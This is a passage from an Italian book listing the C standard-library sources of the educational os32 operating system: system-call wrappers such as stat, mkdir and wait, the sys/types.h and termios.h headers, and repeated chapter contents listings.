3890002 #include <string.h>
3890003 #include <sys/os32.h>
3890004 #include <errno.h>
3890005 #include <limits.h>
3890006 //----------------------------------------------------------------------
3890007 int
3890008 fchmod (int fdn, mode_t mode)
3890009 {
3890010     sysmsg_fchmod_t msg;
3890011     //
3890012     msg.fdn  = fdn;
3890013     msg.mode = mode;
3890014     //
3890015     sys (SYS_FCHMOD, &msg, (sizeof msg));
3890016     //
3890017     errno = msg.errno;
3890018     errln = msg.errln;
3890019     strncpy (errfn, msg.errfn, PATH_MAX);
3890020     return (msg.ret);
3890021 }
```

120.16.3 lib/sys/stat/fstat.c

«

Si veda la sezione 112.45.

```
3900001 #include <unistd.h>
3900002 #include <errno.h>
3900003 #include <sys/os32.h>
3900004 #include <string.h>
3900005 //----------------------------------------------------------------------
3900006 int
3900007 fstat (int fdn, struct stat *buffer)
3900008 {
3900009     sysmsg_fstat_t msg;
3900010     //
3900011     msg.fdn             = fdn;
3900012     msg.stat.st_dev     = buffer->st_dev;
3900013     msg.stat.st_ino     = buffer->st_ino;
3900014     msg.stat.st_mode    = buffer->st_mode;
3900015     msg.stat.st_nlink   = buffer->st_nlink;
3900016     msg.stat.st_uid     = buffer->st_uid;
3900017     msg.stat.st_gid     = buffer->st_gid;
3900018     msg.stat.st_rdev    = buffer->st_rdev;
3900019     msg.stat.st_size    = buffer->st_size;
3900020     msg.stat.st_atime   = buffer->st_atime;
3900021     msg.stat.st_mtime   = buffer->st_mtime;
3900022     msg.stat.st_ctime   = buffer->st_ctime;
3900023     msg.stat.st_blksize = buffer->st_blksize;
3900024     msg.stat.st_blocks  = buffer->st_blocks;
3900025     //
3900026     sys (SYS_FSTAT, &msg, (sizeof msg));
3900027     //
3900028     buffer->st_dev      = msg.stat.st_dev;
3900029     buffer->st_ino      = msg.stat.st_ino;
3900030     buffer->st_mode     = msg.stat.st_mode;
3900031     buffer->st_nlink    = msg.stat.st_nlink;
3900032     buffer->st_uid      = msg.stat.st_uid;
3900033     buffer->st_gid      = msg.stat.st_gid;
3900034     buffer->st_rdev     = msg.stat.st_rdev;
3900035     buffer->st_size     = msg.stat.st_size;
3900036     buffer->st_atime    = msg.stat.st_atime;
3900037     buffer->st_mtime    = msg.stat.st_mtime;
3900038     buffer->st_ctime    = msg.stat.st_ctime;
3900039     buffer->st_blksize  = msg.stat.st_blksize;
3900040     buffer->st_blocks   = msg.stat.st_blocks;
3900041     //
3900042     errno = msg.errno;
3900043     errln = msg.errln;
3900044     strncpy (errfn, msg.errfn, PATH_MAX);
3900045     return (msg.ret);
3900046 }
```

120.16.4 lib/sys/stat/mkdir.c

Si veda la sezione 112.29.

```
3910001 #include <sys/stat.h>
3910002 #include <string.h>
3910003 #include <sys/os32.h>
3910004 #include <errno.h>
3910005 #include <limits.h>
3910006 //----------------------------------------------------------------------
3910007 int
3910008 mkdir (const char *path, mode_t mode)
3910009 {
3910010     sysmsg_mkdir_t msg;
3910011     //
3910012     strncpy (msg.path, path, PATH_MAX);
3910013     msg.mode = mode;
3910014     //
3910015     sys (SYS_MKDIR, &msg, (sizeof msg));
3910016     //
3910017     errno = msg.errno;
3910018     errln = msg.errln;
3910019     strncpy (errfn, msg.errfn, PATH_MAX);
3910020     return (msg.ret);
3910021 }
```

120.16.5 lib/sys/stat/mknod.c

Si veda la sezione 112.30.

```
3920001 #include <unistd.h>
3920002 #include <errno.h>
3920003 #include <sys/os32.h>
3920004 #include <string.h>
3920005 //----------------------------------------------------------------------
3920006 int
3920007 mknod (const char *path, mode_t mode, dev_t device)
3920008 {
3920009     sysmsg_mknod_t msg;
3920010     //
3920011     strncpy (msg.path, path, PATH_MAX);
3920012     msg.mode   = mode;
3920013     msg.device = device;
3920014     //
3920015     sys (SYS_MKNOD, &msg, (sizeof msg));
3920016     //
3920017     errno = msg.errno;
3920018     errln = msg.errln;
3920019     strncpy (errfn, msg.errfn, PATH_MAX);
3920020     return (msg.ret);
3920021 }
```

120.16.6 lib/sys/stat/stat.c

Si veda la sezione 112.45.

```
3930001 #include <unistd.h>
3930002 #include <errno.h>
3930003 #include <sys/os32.h>
3930004 #include <string.h>
3930005 //----------------------------------------------------------------------
3930006 int
3930007 stat (const char *path, struct stat *buffer)
3930008 {
3930009     sysmsg_stat_t msg;
3930010     //
3930011     strncpy (msg.path, path, PATH_MAX);
3930012     //
3930013     msg.stat.st_dev     = buffer->st_dev;
3930014     msg.stat.st_ino     = buffer->st_ino;
3930015     msg.stat.st_mode    = buffer->st_mode;
3930016     msg.stat.st_nlink   = buffer->st_nlink;
3930017     msg.stat.st_uid     = buffer->st_uid;
3930018     msg.stat.st_gid     = buffer->st_gid;
3930019     msg.stat.st_rdev    = buffer->st_rdev;
3930020     msg.stat.st_size    = buffer->st_size;
3930021     msg.stat.st_atime   = buffer->st_atime;
3930022     msg.stat.st_mtime   = buffer->st_mtime;
3930023     msg.stat.st_ctime   = buffer->st_ctime;
3930024     msg.stat.st_blksize = buffer->st_blksize;
3930025     msg.stat.st_blocks  = buffer->st_blocks;
3930026     //
3930027     sys (SYS_STAT, &msg, (sizeof msg));
3930028     //
3930029     buffer->st_dev      = msg.stat.st_dev;
3930030     buffer->st_ino      = msg.stat.st_ino;
3930031     buffer->st_mode     = msg.stat.st_mode;
3930032     buffer->st_nlink    = msg.stat.st_nlink;
3930033     buffer->st_uid      = msg.stat.st_uid;
3930034     buffer->st_gid      = msg.stat.st_gid;
3930035     buffer->st_rdev     = msg.stat.st_rdev;
3930036     buffer->st_size     = msg.stat.st_size;
3930037     buffer->st_atime    = msg.stat.st_atime;
3930038     buffer->st_mtime    = msg.stat.st_mtime;
3930039     buffer->st_ctime    = msg.stat.st_ctime;
3930040     buffer->st_blksize  = msg.stat.st_blksize;
3930041     buffer->st_blocks   = msg.stat.st_blocks;
3930042     //
3930043     errno = msg.errno;
3930044     errln = msg.errln;
3930045     strncpy (errfn, msg.errfn, PATH_MAX);
3930046     return (msg.ret);
3930047 }
```

120.16.7 lib/sys/stat/umask.c

Si veda la sezione 112.50.

```
3940001 #include <sys/stat.h>
3940002 #include <string.h>
3940003 #include <sys/os32.h>
3940004 #include <errno.h>
3940005 #include <limits.h>
3940006 //----------------------------------------------------------------------
3940007 mode_t
3940008 umask (mode_t mask)
3940009 {
3940010     sysmsg_umask_t msg;
3940011     msg.umask = mask;
3940012     sys (SYS_UMASK, &msg, (sizeof msg));
3940013     return (msg.ret);
3940014 }
```

120.17 os32: «lib/sys/types.h»

Si veda la sezione 116.2.

```
3950001 #ifndef _SYS_TYPES_H
3950002 #define _SYS_TYPES_H    1
3950003 //----------------------------------------------------------------------
3950004 #include <clock_t.h>
3950005 #include <time_t.h>
3950006 #include <size_t.h>
3950007 //----------------------------------------------------------------------
3950008 typedef          long int blkcnt_t;
3950009 typedef          long int blksize_t;
3950010 typedef          uint16_t dev_t;     // Traditional device size.
3950011 typedef      unsigned int id_t;
3950012 typedef      unsigned int gid_t;
3950013 typedef      unsigned int uid_t;
3950014 typedef          uint16_t ino_t;     // Minix 1 file system inode size.
3950015 typedef          uint16_t mode_t;    // Minix 1 file system mode size.
3950016 typedef      unsigned int nlink_t;
3950017 typedef     long long int off_t;
3950018 typedef               int pid_t;
3950019 typedef unsigned long int pthread_t;
3950020 typedef               int ssize_t;
3950021 //----------------------------------------------------------------------
3950022 // Common extentions.
3950023 //
3950024 dev_t makedev (int major, int minor);
3950025 int   major   (dev_t device);
3950026 int   minor   (dev_t device);
3950027 //----------------------------------------------------------------------
3950028 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586

120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662

120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796

120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824

120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827
120.22 os32: «lib/utime.h» 7828
120.22.1 lib/utime/utime.c 7834

120.17.1 lib/sys/types/major.c

Si veda la sezione 113.70.

```
3960001 #include <sys/types.h>
3960002 //----------------------------------------------------------------------
3960003 int
3960004 major (dev_t device)
3960005 {
3960006     return ((int) (device / 256));
3960007 }
```

120.17.2 lib/sys/types/makedev.c

Si veda la sezione 113.70.

```
3970001 #include <sys/types.h>
3970002 //----------------------------------------------------------------------
3970003 dev_t
3970004 makedev (int major, int minor)
3970005 {
3970006     return ((dev_t) (major * 256 + minor));
3970007 }
```

120.17.3 lib/sys/types/minor.c

Si veda la sezione 113.70.

```
3980001 #include <sys/types.h>
3980002 //----------------------------------------------------------------------
3980003 int
3980004 minor (dev_t device)
3980005 {
3980006     return ((dev_t) (device & 0x00FF));
3980007 }
```

120.18 os32: «lib/sys/wait.h»

Si veda la sezione 116.2.

```
3990001 #ifndef _SYS_WAIT_H
3990002 #define _SYS_WAIT_H      1
3990003 
3990004 #include <sys/types.h>
3990005 
3990006 //----------------------------------------------------------------------
3990007 pid_t wait    (int *status);
3990008 //----------------------------------------------------------------------
3990009 
3990010 #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483

120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578

120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699

120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770

120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817

120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.18.1 lib/sys/wait/wait.c

Si veda la sezione 112.53.

```
4000001 #include <sys/types.h>
4000002 #include <errno.h>
4000003 #include <sys/os32.h>
4000004 #include <stddef.h>
4000005 #include <string.h>
4000006 //----------------------------------------------------------------------
4000007 pid_t
4000008 wait (int *status)
4000009 {
4000010     sysmsg_wait_t msg;
4000011     msg.ret    = 0;
4000012     msg.errno  = 0;
4000013     msg.status = 0;
4000014     while (msg.ret == 0)
4000015       {
4000016         //
4000017         // Loop as long as there are children, an none is dead.
4000018         //
4000019         sys (SYS_WAIT, &msg, (sizeof msg));
4000020       }
4000021     errno = msg.errno;
4000022     errln = msg.errln;
4000023     strncpy (errfn, msg.errfn, PATH_MAX);
4000024     //
4000025     if (status != NULL)
```

```
4000026         {
4000027           //
4000028           // Only the low eight bits are returned.
4000029           //
4000030           *status = (msg.status & 0x00FF);
4000031         }
4000032     return (msg.ret);
4000033 }
```

120.19 os32: «lib/termios.h»

Si veda la sezione 112.48.

```
4010001 #ifndef _TERMIOS_H
4010002 #define _TERMIOS_H       1
4010003 //----------------------------------------------------------------------
4010004 #include <stdint.h>
4010005 //----------------------------------------------------------------------
4010006 typedef uint16_t      tcflag_t;
4010007 typedef unsigned char cc_t;
4010008 //----------------------------------------------------------------------
4010009 #define NCCS    11      // `c_cc[]' size.
4010010 //
